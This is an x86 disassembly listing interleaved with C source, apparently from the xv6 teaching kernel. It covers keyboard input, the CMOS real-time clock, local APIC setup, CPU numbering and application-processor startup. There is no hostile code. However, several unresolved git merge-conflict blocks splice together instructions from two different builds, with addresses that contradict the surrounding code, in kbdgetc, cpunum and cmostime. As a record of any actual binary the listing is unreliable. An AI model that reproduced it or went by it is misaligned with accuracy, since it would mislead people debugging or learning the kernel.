8010256a: 89 d0 mov %edx,%eax
8010256c: 83 e0 03 and $0x3,%eax
8010256f: 8b 04 85 20 73 10 80 mov -0x7fef8ce0(,%eax,4),%eax
data |= 0x80;
shift &= ~E0ESC;
}
shift |= shiftcode[data];
shift ^= togglecode[data];
80102576: 89 15 b4 a5 10 80 mov %edx,0x8010a5b4
c = charcode[shift & (CTL | SHIFT)][data];
if(shift & CAPSLOCK){
8010257c: 83 e2 08 and $0x8,%edx
shift &= ~E0ESC;
}
shift |= shiftcode[data];
shift ^= togglecode[data];
c = charcode[shift & (CTL | SHIFT)][data];
<<<<<<< HEAD
8010255e: 8b 04 85 a0 75 10 80 mov -0x7fef8a60(,%eax,4),%eax
80102565: 0f b6 04 10 movzbl (%eax,%edx,1),%eax
=======
8010257f: 0f b6 04 08 movzbl (%eax,%ecx,1),%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(shift & CAPSLOCK){
80102583: 74 0b je 80102590 <kbdgetc+0xa0>
if('a' <= c && c <= 'z')
80102585: 8d 50 9f lea -0x61(%eax),%edx
80102588: 83 fa 19 cmp $0x19,%edx
8010258b: 77 1b ja 801025a8 <kbdgetc+0xb8>
c += 'A' - 'a';
8010258d: 83 e8 20 sub $0x20,%eax
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
80102590: 5b pop %ebx
80102591: 5d pop %ebp
80102592: c3 ret
80102593: 90 nop
80102594: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if((st & KBS_DIB) == 0)
return -1;
data = inb(KBDATAP);
if(data == 0xE0){
shift |= E0ESC;
80102598: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4
return 0;
8010259f: 31 c0 xor %eax,%eax
801025a1: c3 ret
801025a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
shift ^= togglecode[data];
c = charcode[shift & (CTL | SHIFT)][data];
if(shift & CAPSLOCK){
if('a' <= c && c <= 'z')
c += 'A' - 'a';
else if('A' <= c && c <= 'Z')
801025a8: 8d 48 bf lea -0x41(%eax),%ecx
c += 'a' - 'A';
801025ab: 8d 50 20 lea 0x20(%eax),%edx
801025ae: 83 f9 19 cmp $0x19,%ecx
801025b1: 0f 46 c2 cmovbe %edx,%eax
}
return c;
801025b4: eb da jmp 80102590 <kbdgetc+0xa0>
801025b6: 66 90 xchg %ax,%ax
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
return -1;
801025b8: b8 ff ff ff ff mov $0xffffffff,%eax
801025bd: c3 ret
801025be: 66 90 xchg %ax,%ax
801025c0 <kbdintr>:
return c;
}
void
kbdintr(void)
{
801025c0: 55 push %ebp
801025c1: 89 e5 mov %esp,%ebp
801025c3: 83 ec 18 sub $0x18,%esp
consoleintr(kbdgetc);
801025c6: c7 04 24 f0 24 10 80 movl $0x801024f0,(%esp)
801025cd: e8 de e1 ff ff call 801007b0 <consoleintr>
}
801025d2: c9 leave
801025d3: c3 ret
801025d4: 66 90 xchg %ax,%ax
801025d6: 66 90 xchg %ax,%ax
801025d8: 66 90 xchg %ax,%ax
801025da: 66 90 xchg %ax,%ax
801025dc: 66 90 xchg %ax,%ax
801025de: 66 90 xchg %ax,%ax
801025e0 <fill_rtcdate>:
return inb(CMOS_RETURN);
}
static void fill_rtcdate(struct rtcdate *r)
{
801025e0: 55 push %ebp
801025e1: 89 c1 mov %eax,%ecx
801025e3: 89 e5 mov %esp,%ebp
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801025e5: ba 70 00 00 00 mov $0x70,%edx
801025ea: 53 push %ebx
801025eb: 31 c0 xor %eax,%eax
801025ed: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801025ee: bb 71 00 00 00 mov $0x71,%ebx
801025f3: 89 da mov %ebx,%edx
801025f5: ec in (%dx),%al
static uint cmos_read(uint reg)
{
outb(CMOS_PORT, reg);
microdelay(200);
return inb(CMOS_RETURN);
801025f6: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801025f9: b2 70 mov $0x70,%dl
801025fb: 89 01 mov %eax,(%ecx)
801025fd: b8 02 00 00 00 mov $0x2,%eax
80102602: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102603: 89 da mov %ebx,%edx
80102605: ec in (%dx),%al
80102606: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102609: b2 70 mov $0x70,%dl
8010260b: 89 41 04 mov %eax,0x4(%ecx)
8010260e: b8 04 00 00 00 mov $0x4,%eax
80102613: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102614: 89 da mov %ebx,%edx
80102616: ec in (%dx),%al
80102617: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010261a: b2 70 mov $0x70,%dl
8010261c: 89 41 08 mov %eax,0x8(%ecx)
8010261f: b8 07 00 00 00 mov $0x7,%eax
80102624: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102625: 89 da mov %ebx,%edx
80102627: ec in (%dx),%al
80102628: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010262b: b2 70 mov $0x70,%dl
8010262d: 89 41 0c mov %eax,0xc(%ecx)
80102630: b8 08 00 00 00 mov $0x8,%eax
80102635: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102636: 89 da mov %ebx,%edx
80102638: ec in (%dx),%al
80102639: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010263c: b2 70 mov $0x70,%dl
8010263e: 89 41 10 mov %eax,0x10(%ecx)
80102641: b8 09 00 00 00 mov $0x9,%eax
80102646: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102647: 89 da mov %ebx,%edx
80102649: ec in (%dx),%al
8010264a: 0f b6 d8 movzbl %al,%ebx
8010264d: 89 59 14 mov %ebx,0x14(%ecx)
r->minute = cmos_read(MINS);
r->hour = cmos_read(HOURS);
r->day = cmos_read(DAY);
r->month = cmos_read(MONTH);
r->year = cmos_read(YEAR);
}
80102650: 5b pop %ebx
80102651: 5d pop %ebp
80102652: c3 ret
80102653: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102659: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102660 <lapicinit>:
//PAGEBREAK!
void
lapicinit(void)
{
if(!lapic)
80102660: a1 9c 26 11 80 mov 0x8011269c,%eax
}
//PAGEBREAK!
void
lapicinit(void)
{
80102665: 55 push %ebp
80102666: 89 e5 mov %esp,%ebp
if(!lapic)
80102668: 85 c0 test %eax,%eax
8010266a: 0f 84 c0 00 00 00 je 80102730 <lapicinit+0xd0>
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102670: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax)
80102677: 01 00 00
lapic[ID]; // wait for write to finish, by reading
8010267a: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010267d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax)
80102684: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102687: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010268a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax)
80102691: 00 02 00
lapic[ID]; // wait for write to finish, by reading
80102694: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102697: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax)
8010269e: 96 98 00
lapic[ID]; // wait for write to finish, by reading
801026a1: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026a4: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax)
801026ab: 00 01 00
lapic[ID]; // wait for write to finish, by reading
801026ae: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026b1: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax)
801026b8: 00 01 00
lapic[ID]; // wait for write to finish, by reading
801026bb: 8b 50 20 mov 0x20(%eax),%edx
lapicw(LINT0, MASKED);
lapicw(LINT1, MASKED);
// Disable performance counter overflow interrupts
// on machines that provide that interrupt entry.
if(((lapic[VER]>>16) & 0xFF) >= 4)
801026be: 8b 50 30 mov 0x30(%eax),%edx
801026c1: c1 ea 10 shr $0x10,%edx
801026c4: 80 fa 03 cmp $0x3,%dl
801026c7: 77 6f ja 80102738 <lapicinit+0xd8>
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026c9: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax)
801026d0: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026d3: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026d6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
801026dd: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026e0: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026e3: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
801026ea: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026ed: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026f0: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
801026f7: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026fa: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026fd: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax)
80102704: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102707: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010270a: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax)
80102711: 85 08 00
lapic[ID]; // wait for write to finish, by reading
80102714: 8b 50 20 mov 0x20(%eax),%edx
80102717: 90 nop
lapicw(EOI, 0);
// Send an Init Level De-Assert to synchronise arbitration ID's.
lapicw(ICRHI, 0);
lapicw(ICRLO, BCAST | INIT | LEVEL);
while(lapic[ICRLO] & DELIVS)
80102718: 8b 90 00 03 00 00 mov 0x300(%eax),%edx
8010271e: 80 e6 10 and $0x10,%dh
80102721: 75 f5 jne 80102718 <lapicinit+0xb8>
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102723: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax)
8010272a: 00 00 00
lapic[ID]; // wait for write to finish, by reading
8010272d: 8b 40 20 mov 0x20(%eax),%eax
while(lapic[ICRLO] & DELIVS)
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
}
80102730: 5d pop %ebp
80102731: c3 ret
80102732: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102738: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax)
8010273f: 00 01 00
lapic[ID]; // wait for write to finish, by reading
80102742: 8b 50 20 mov 0x20(%eax),%edx
80102745: eb 82 jmp 801026c9 <lapicinit+0x69>
80102747: 89 f6 mov %esi,%esi
80102749: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102750 <cpunum>:
lapicw(TPR, 0);
}
int
cpunum(void)
{
80102750: 55 push %ebp
80102751: 89 e5 mov %esp,%ebp
80102753: 56 push %esi
80102754: 53 push %ebx
80102755: 83 ec 10 sub $0x10,%esp
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80102758: 9c pushf
80102759: 58 pop %eax
// Cannot call cpu when interrupts are enabled:
// result not guaranteed to last long enough to be used!
// Would prefer to panic but even printing is chancy here:
// almost everything, including cprintf and panic, calls cpu,
// often indirectly through acquire and release.
if(readeflags()&FL_IF){
8010275a: f6 c4 02 test $0x2,%ah
8010275d: 74 12 je 80102771 <cpunum+0x21>
static int n;
if(n++ == 0)
8010275f: a1 b8 a5 10 80 mov 0x8010a5b8,%eax
80102764: 8d 50 01 lea 0x1(%eax),%edx
80102767: 85 c0 test %eax,%eax
80102769: 89 15 b8 a5 10 80 mov %edx,0x8010a5b8
8010276f: 74 4a je 801027bb <cpunum+0x6b>
cprintf("cpu called from %x with interrupts enabled\n",
__builtin_return_address(0));
}
if (!lapic)
80102771: a1 9c 26 11 80 mov 0x8011269c,%eax
80102776: 85 c0 test %eax,%eax
80102778: 74 5d je 801027d7 <cpunum+0x87>
return 0;
apicid = lapic[ID] >> 24;
8010277a: 8b 58 20 mov 0x20(%eax),%ebx
for (i = 0; i < ncpu; ++i) {
8010277d: 8b 35 80 2d 11 80 mov 0x80112d80,%esi
}
if (!lapic)
return 0;
apicid = lapic[ID] >> 24;
80102783: c1 eb 18 shr $0x18,%ebx
for (i = 0; i < ncpu; ++i) {
80102786: 85 f6 test %esi,%esi
80102788: 7e 56 jle 801027e0 <cpunum+0x90>
if (cpus[i].apicid == apicid)
8010278a: 0f b6 05 a0 27 11 80 movzbl 0x801127a0,%eax
80102791: 39 d8 cmp %ebx,%eax
80102793: 74 42 je 801027d7 <cpunum+0x87>
80102795: ba 5c 28 11 80 mov $0x8011285c,%edx
if (!lapic)
return 0;
apicid = lapic[ID] >> 24;
for (i = 0; i < ncpu; ++i) {
8010279a: 31 c0 xor %eax,%eax
8010279c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801027a0: 83 c0 01 add $0x1,%eax
801027a3: 39 f0 cmp %esi,%eax
801027a5: 74 39 je 801027e0 <cpunum+0x90>
if (cpus[i].apicid == apicid)
801027a7: 0f b6 0a movzbl (%edx),%ecx
801027aa: 81 c2 bc 00 00 00 add $0xbc,%edx
801027b0: 39 d9 cmp %ebx,%ecx
801027b2: 75 ec jne 801027a0 <cpunum+0x50>
return i;
}
panic("unknown apicid\n");
}
<<<<<<< HEAD
80102734: 8d 65 f8 lea -0x8(%ebp),%esp
80102737: 5b pop %ebx
80102738: 5e pop %esi
80102739: 5d pop %ebp
8010273a: c3 ret
// almost everything, including cprintf and panic, calls cpu,
// often indirectly through acquire and release.
if(readeflags()&FL_IF){
static int n;
if(n++ == 0)
cprintf("cpu called from %x with interrupts enabled\n",
8010273b: 83 ec 08 sub $0x8,%esp
8010273e: ff 75 04 pushl 0x4(%ebp)
80102741: 68 c0 77 10 80 push $0x801077c0
80102746: e8 15 df ff ff call 80100660 <cprintf>
__builtin_return_address(0));
}
if (!lapic)
8010274b: a1 9c 26 11 80 mov 0x8011269c,%eax
=======
801027b4: 83 c4 10 add $0x10,%esp
801027b7: 5b pop %ebx
801027b8: 5e pop %esi
801027b9: 5d pop %ebp
801027ba: c3 ret
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// almost everything, including cprintf and panic, calls cpu,
// often indirectly through acquire and release.
if(readeflags()&FL_IF){
static int n;
if(n++ == 0)
cprintf("cpu called from %x with interrupts enabled\n",
801027bb: 8b 45 04 mov 0x4(%ebp),%eax
801027be: c7 04 24 40 75 10 80 movl $0x80107540,(%esp)
801027c5: 89 44 24 04 mov %eax,0x4(%esp)
801027c9: e8 82 de ff ff call 80100650 <cprintf>
__builtin_return_address(0));
}
if (!lapic)
801027ce: a1 9c 26 11 80 mov 0x8011269c,%eax
801027d3: 85 c0 test %eax,%eax
801027d5: 75 a3 jne 8010277a <cpunum+0x2a>
for (i = 0; i < ncpu; ++i) {
if (cpus[i].apicid == apicid)
return i;
}
panic("unknown apicid\n");
}
801027d7: 83 c4 10 add $0x10,%esp
cprintf("cpu called from %x with interrupts enabled\n",
__builtin_return_address(0));
}
if (!lapic)
return 0;
801027da: 31 c0 xor %eax,%eax
for (i = 0; i < ncpu; ++i) {
if (cpus[i].apicid == apicid)
return i;
}
panic("unknown apicid\n");
}
801027dc: 5b pop %ebx
801027dd: 5e pop %esi
801027de: 5d pop %ebp
801027df: c3 ret
apicid = lapic[ID] >> 24;
for (i = 0; i < ncpu; ++i) {
if (cpus[i].apicid == apicid)
return i;
}
panic("unknown apicid\n");
<<<<<<< HEAD
80102760: 83 ec 0c sub $0xc,%esp
80102763: 68 ec 77 10 80 push $0x801077ec
80102768: e8 03 dc ff ff call 80100370 <panic>
8010276d: 8d 76 00 lea 0x0(%esi),%esi
=======
801027e0: c7 04 24 6c 75 10 80 movl $0x8010756c,(%esp)
801027e7: e8 74 db ff ff call 80100360 <panic>
801027ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
801027f0 <lapiceoi>:
// Acknowledge interrupt.
void
lapiceoi(void)
{
if(lapic)
801027f0: a1 9c 26 11 80 mov 0x8011269c,%eax
}
// Acknowledge interrupt.
void
lapiceoi(void)
{
801027f5: 55 push %ebp
801027f6: 89 e5 mov %esp,%ebp
if(lapic)
801027f8: 85 c0 test %eax,%eax
801027fa: 74 0d je 80102809 <lapiceoi+0x19>
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
801027fc: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
80102803: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102806: 8b 40 20 mov 0x20(%eax),%eax
void
lapiceoi(void)
{
if(lapic)
lapicw(EOI, 0);
}
80102809: 5d pop %ebp
8010280a: c3 ret
8010280b: 90 nop
8010280c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102810 <microdelay>:
// Spin for a given number of microseconds.
// On real hardware would want to tune this dynamically.
void
microdelay(int us)
{
80102810: 55 push %ebp
80102811: 89 e5 mov %esp,%ebp
}
80102813: 5d pop %ebp
80102814: c3 ret
80102815: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102819: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102820 <lapicstartap>:
// Start additional processor running entry code at addr.
// See Appendix B of MultiProcessor Specification.
void
lapicstartap(uchar apicid, uint addr)
{
80102820: 55 push %ebp
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102821: ba 70 00 00 00 mov $0x70,%edx
80102826: 89 e5 mov %esp,%ebp
80102828: b8 0f 00 00 00 mov $0xf,%eax
8010282d: 53 push %ebx
8010282e: 8b 4d 08 mov 0x8(%ebp),%ecx
80102831: 8b 5d 0c mov 0xc(%ebp),%ebx
80102834: ee out %al,(%dx)
80102835: b8 0a 00 00 00 mov $0xa,%eax
8010283a: b2 71 mov $0x71,%dl
8010283c: ee out %al,(%dx)
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
outb(CMOS_PORT+1, 0x0A);
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
wrv[0] = 0;
8010283d: 31 c0 xor %eax,%eax
8010283f: 66 a3 67 04 00 80 mov %ax,0x80000467
wrv[1] = addr >> 4;
80102845: 89 d8 mov %ebx,%eax
80102847: c1 e8 04 shr $0x4,%eax
8010284a: 66 a3 69 04 00 80 mov %ax,0x80000469
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102850: a1 9c 26 11 80 mov 0x8011269c,%eax
wrv[0] = 0;
wrv[1] = addr >> 4;
// "Universal startup algorithm."
// Send INIT (level-triggered) interrupt to reset other CPU.
lapicw(ICRHI, apicid<<24);
80102855: c1 e1 18 shl $0x18,%ecx
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
80102858: c1 eb 0c shr $0xc,%ebx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010285b: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
80102861: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102864: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax)
8010286b: c5 00 00
lapic[ID]; // wait for write to finish, by reading
8010286e: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102871: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax)
80102878: 85 00 00
lapic[ID]; // wait for write to finish, by reading
8010287b: 8b 50 20 mov 0x20(%eax),%edx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010287e: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
80102884: 8b 50 20 mov 0x20(%eax),%edx
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
80102887: 89 da mov %ebx,%edx
80102889: 80 ce 06 or $0x6,%dh
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010288c: 89 90 00 03 00 00 mov %edx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
80102892: 8b 58 20 mov 0x20(%eax),%ebx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102895: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
8010289b: 8b 48 20 mov 0x20(%eax),%ecx
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010289e: 89 90 00 03 00 00 mov %edx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
801028a4: 8b 40 20 mov 0x20(%eax),%eax
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
microdelay(200);
}
}
801028a7: 5b pop %ebx
801028a8: 5d pop %ebp
801028a9: c3 ret
801028aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801028b0 <cmostime>:
r->year = cmos_read(YEAR);
}
// qemu seems to use 24-hour GWT and the values are BCD encoded
void cmostime(struct rtcdate *r)
{
801028b0: 55 push %ebp
801028b1: ba 70 00 00 00 mov $0x70,%edx
801028b6: 89 e5 mov %esp,%ebp
801028b8: b8 0b 00 00 00 mov $0xb,%eax
801028bd: 57 push %edi
801028be: 56 push %esi
801028bf: 53 push %ebx
801028c0: 83 ec 4c sub $0x4c,%esp
801028c3: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801028c4: b2 71 mov $0x71,%dl
801028c6: ec in (%dx),%al
801028c7: 88 45 b7 mov %al,-0x49(%ebp)
801028ca: 8d 5d b8 lea -0x48(%ebp),%ebx
struct rtcdate t1, t2;
int sb, bcd;
sb = cmos_read(CMOS_STATB);
bcd = (sb & (1 << 2)) == 0;
801028cd: 80 65 b7 04 andb $0x4,-0x49(%ebp)
801028d1: 8d 7d d0 lea -0x30(%ebp),%edi
801028d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801028d8: be 70 00 00 00 mov $0x70,%esi
// make sure CMOS doesn't modify time while we read it
for(;;) {
fill_rtcdate(&t1);
801028dd: 89 d8 mov %ebx,%eax
801028df: e8 fc fc ff ff call 801025e0 <fill_rtcdate>
801028e4: b8 0a 00 00 00 mov $0xa,%eax
801028e9: 89 f2 mov %esi,%edx
801028eb: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801028ec: ba 71 00 00 00 mov $0x71,%edx
801028f1: ec in (%dx),%al
if(cmos_read(CMOS_STATA) & CMOS_UIP)
801028f2: 84 c0 test %al,%al
801028f4: 78 e7 js 801028dd <cmostime+0x2d>
continue;
fill_rtcdate(&t2);
801028f6: 89 f8 mov %edi,%eax
801028f8: e8 e3 fc ff ff call 801025e0 <fill_rtcdate>
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
<<<<<<< HEAD
8010293d: 8d 45 b8 lea -0x48(%ebp),%eax
80102940: 6a 18 push $0x18
80102942: 56 push %esi
80102943: 50 push %eax
80102944: e8 47 1e 00 00 call 80104790 <memcmp>
80102949: 83 c4 10 add $0x10,%esp
8010294c: 85 c0 test %eax,%eax
8010294e: 0f 85 0c ff ff ff jne 80102860 <cmostime+0x30>
=======
801028fd: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp)
80102904: 00
80102905: 89 7c 24 04 mov %edi,0x4(%esp)
80102909: 89 1c 24 mov %ebx,(%esp)
8010290c: e8 3f 1c 00 00 call 80104550 <memcmp>
80102911: 85 c0 test %eax,%eax
80102913: 75 c3 jne 801028d8 <cmostime+0x28>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
break;
}
// convert
if(bcd) {
80102915: 80 7d b7 00 cmpb $0x0,-0x49(%ebp)
80102919: 75 78 jne 80102993 <cmostime+0xe3>
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
8010291b: 8b 45 b8 mov -0x48(%ebp),%eax
8010291e: 89 c2 mov %eax,%edx
80102920: 83 e0 0f and $0xf,%eax
80102923: c1 ea 04 shr $0x4,%edx
80102926: 8d 14 92 lea (%edx,%edx,4),%edx
80102929: 8d 04 50 lea (%eax,%edx,2),%eax
8010292c: 89 45 b8 mov %eax,-0x48(%ebp)
CONV(minute);
8010292f: 8b 45 bc mov -0x44(%ebp),%eax
80102932: 89 c2 mov %eax,%edx
80102934: 83 e0 0f and $0xf,%eax
80102937: c1 ea 04 shr $0x4,%edx
8010293a: 8d 14 92 lea (%edx,%edx,4),%edx
8010293d: 8d 04 50 lea (%eax,%edx,2),%eax
80102940: 89 45 bc mov %eax,-0x44(%ebp)
CONV(hour );
80102943: 8b 45 c0 mov -0x40(%ebp),%eax
80102946: 89 c2 mov %eax,%edx
80102948: 83 e0 0f and $0xf,%eax
8010294b: c1 ea 04 shr $0x4,%edx
8010294e: 8d 14 92 lea (%edx,%edx,4),%edx
80102951: 8d 04 50 lea (%eax,%edx,2),%eax
80102954: 89 45 c0 mov %eax,-0x40(%ebp)
CONV(day );
80102957: 8b 45 c4 mov -0x3c(%ebp),%eax
8010295a: 89 c2 mov %eax,%edx
8010295c: 83 e0 0f and $0xf,%eax
8010295f: c1 ea 04 shr $0x4,%edx
80102962: 8d 14 92 lea (%edx,%edx,4),%edx
80102965: 8d 04 50 lea (%eax,%edx,2),%eax
80102968: 89 45 c4 mov %eax,-0x3c(%ebp)
CONV(month );
8010296b: 8b 45 c8 mov -0x38(%ebp),%eax
8010296e: 89 c2 mov %eax,%edx
80102970: 83 e0 0f and $0xf,%eax
80102973: c1 ea 04 shr $0x4,%edx
80102976: 8d 14 92 lea (%edx,%edx,4),%edx
80102979: 8d 04 50 lea (%eax,%edx,2),%eax
8010297c: 89 45 c8 mov %eax,-0x38(%ebp)
CONV(year );
8010297f: 8b 45 cc mov -0x34(%ebp),%eax
80102982: 89 c2 mov %eax,%edx
80102984: 83 e0 0f and $0xf,%eax
80102987: c1 ea 04 shr $0x4,%edx
8010298a: 8d 14 92 lea (%edx,%edx,4),%edx
8010298d: 8d 04 50 lea (%eax,%edx,2),%eax
80102990: 89 45 cc mov %eax,-0x34(%ebp)
#undef CONV
}
*r = t1;
80102993: 8b 4d 08 mov 0x8(%ebp),%ecx
80102996: 8b 45 b8 mov -0x48(%ebp),%eax
80102999: 89 01 mov %eax,(%ecx)
8010299b: 8b 45 bc mov -0x44(%ebp),%eax
8010299e: 89 41 04 mov %eax,0x4(%ecx)
801029a1: 8b 45 c0 mov -0x40(%ebp),%eax
801029a4: 89 41 08 mov %eax,0x8(%ecx)
801029a7: 8b 45 c4 mov -0x3c(%ebp),%eax
